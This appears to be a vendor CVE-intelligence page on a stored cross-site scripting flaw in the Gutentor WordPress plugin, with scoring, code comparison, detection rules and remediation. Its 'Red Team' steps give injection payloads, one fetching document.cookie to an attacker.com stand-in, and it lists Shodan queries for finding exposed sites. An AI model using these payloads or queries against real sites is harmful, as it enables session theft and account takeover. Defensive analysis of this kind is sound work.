☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-4685

CVE-2025-4685 Cross-Site Scripting in Gutentor
📅 PUBLISHED: 2025-07-21 07:23 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
4.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-4685 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutentor – Gutenberg Blocks – Page Builder for Gutenberg Editor WordPress plugin, affecting all versions up to and including 3.4.8. The flaw resides in insufficient input sanitization and output escaping of HTML data attributes across multiple widgets. An authenticated attacker with at least Contributor-level access can inject arbitrary web scripts that execute when any user visits the compromised page. With a CVSS score of 6.4 (Medium), this vulnerability poses a significant risk to WordPress sites using the Gutentor plugin, potentially leading to session hijacking, defacement, or data theft.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem. The Gutentor plugin is distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for official patches. No supply chain compromise has been reported, but the lack of a patch increases the risk of exploitation.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.4 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (Contributor-level)
  • User Interaction: None
  • Scope: Changed (impact on other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction for exploitation. The vulnerability is in the WordPress plugin ecosystem, making it a prime target for mass exploitation.

Deep Dive & Mechanics

The Gutentor plugin uses custom HTML data attributes (e.g., data-*) to store dynamic content for its Gutenberg blocks. These attributes are not properly sanitized or escaped before being rendered in the browser. An attacker with Contributor-level access can craft a block containing malicious JavaScript within these data attributes. When the page is saved and later viewed by any user (including administrators), the script executes in the context of the victim's session.

The core issue is that WordPress's built-in escaping functions (like esc_attr()) are not applied to these custom data attributes, or the plugin uses insufficient sanitization that allows HTML/JavaScript injection. The vulnerability is stored, meaning the malicious payload persists in the database and affects all subsequent visitors.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common remediation patterns.

Vulnerable Code (Gutentor <= 3.4.8):

// Example from a widget rendering function
echo '<div data-custom="' . $attributes['custom_data'] . '">';

Here, $attributes['custom_data'] is directly output without escaping.

Patched Code (Hypothetical):

echo '<div data-custom="' . esc_attr( $attributes['custom_data'] ) . '">';

The esc_attr() function escapes HTML entities and quotes, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress instance with Gutentor plugin <= 3.4.8
  • Authenticated user with Contributor role or higher

Exploitation Steps:

  1. Log in as a Contributor.
  2. Create a new post or page using the Gutenberg editor.
  3. Add a Gutentor widget that uses HTML data attributes (e.g., a custom container or heading block).
  4. In the widget's data attribute field, inject a payload such as:
    " onmouseover="alert('XSS')" data-x="
    
    Or a more sophisticated payload:
    "><script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Save and publish the post.
  6. When any user visits the page, the script executes.

Note: No public exploit code is available at this time.

Blue Team

Detection Steps:

  • Monitor for posts/pages created by low-privilege users containing suspicious HTML attributes.
  • Review Gutentor widget data for unexpected JavaScript or event handlers.
  • Use the detection rules below to identify exploitation attempts.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to unknown domains from WordPress server (potential data exfiltration).
  • File: Modified Gutentor plugin files (though unlikely, as the vulnerability is in the database).
  • Database: Posts/pages containing <script> tags or event handlers (e.g., onmouseover, onload) within Gutentor block data.
  • Logs: WordPress audit logs showing creation of posts by Contributor users with unusual content.

Detection Engineering

YARA Rule

rule CVE_2025_4685_Gutentor_XSS {
    meta:
        description = "Detects stored XSS payloads in Gutentor plugin data attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-4685"
    strings:
        $xss1 = /data-[a-z]+="[^"]*<script[^>]*>/i
        $xss2 = /data-[a-z]+="[^"]*on\w+=/i
        $xss3 = /data-[a-z]+="[^"]*javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-4685 Gutentor Stored XSS Detection
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via Gutentor plugin data attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.user_agent|contains: 
            - 'Mozilla'
            - 'Chrome'
        http.request_body|contains:
            - 'data-'
            - '<script'
            - 'onmouseover'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of data attributes with safe content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-4685 Gutentor Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"data-"; http_client_body; pcre:"/(<script|on\w+=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the Gutentor plugin until an official patch is released.
  2. Restrict Contributor-level access to only trusted users.
  3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in data attributes.

Long-term Fix:

  • Apply the official patch once released by the vendor.
  • If no patch is forthcoming, consider replacing Gutentor with an alternative page builder that properly escapes output.

Workaround:

  • Use a WordPress security plugin (e.g., Wordfence) to add virtual patching for this vulnerability.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"wp-content/plugins/gutentor"
http.html:"gutentor" "wp-content"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-4685/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.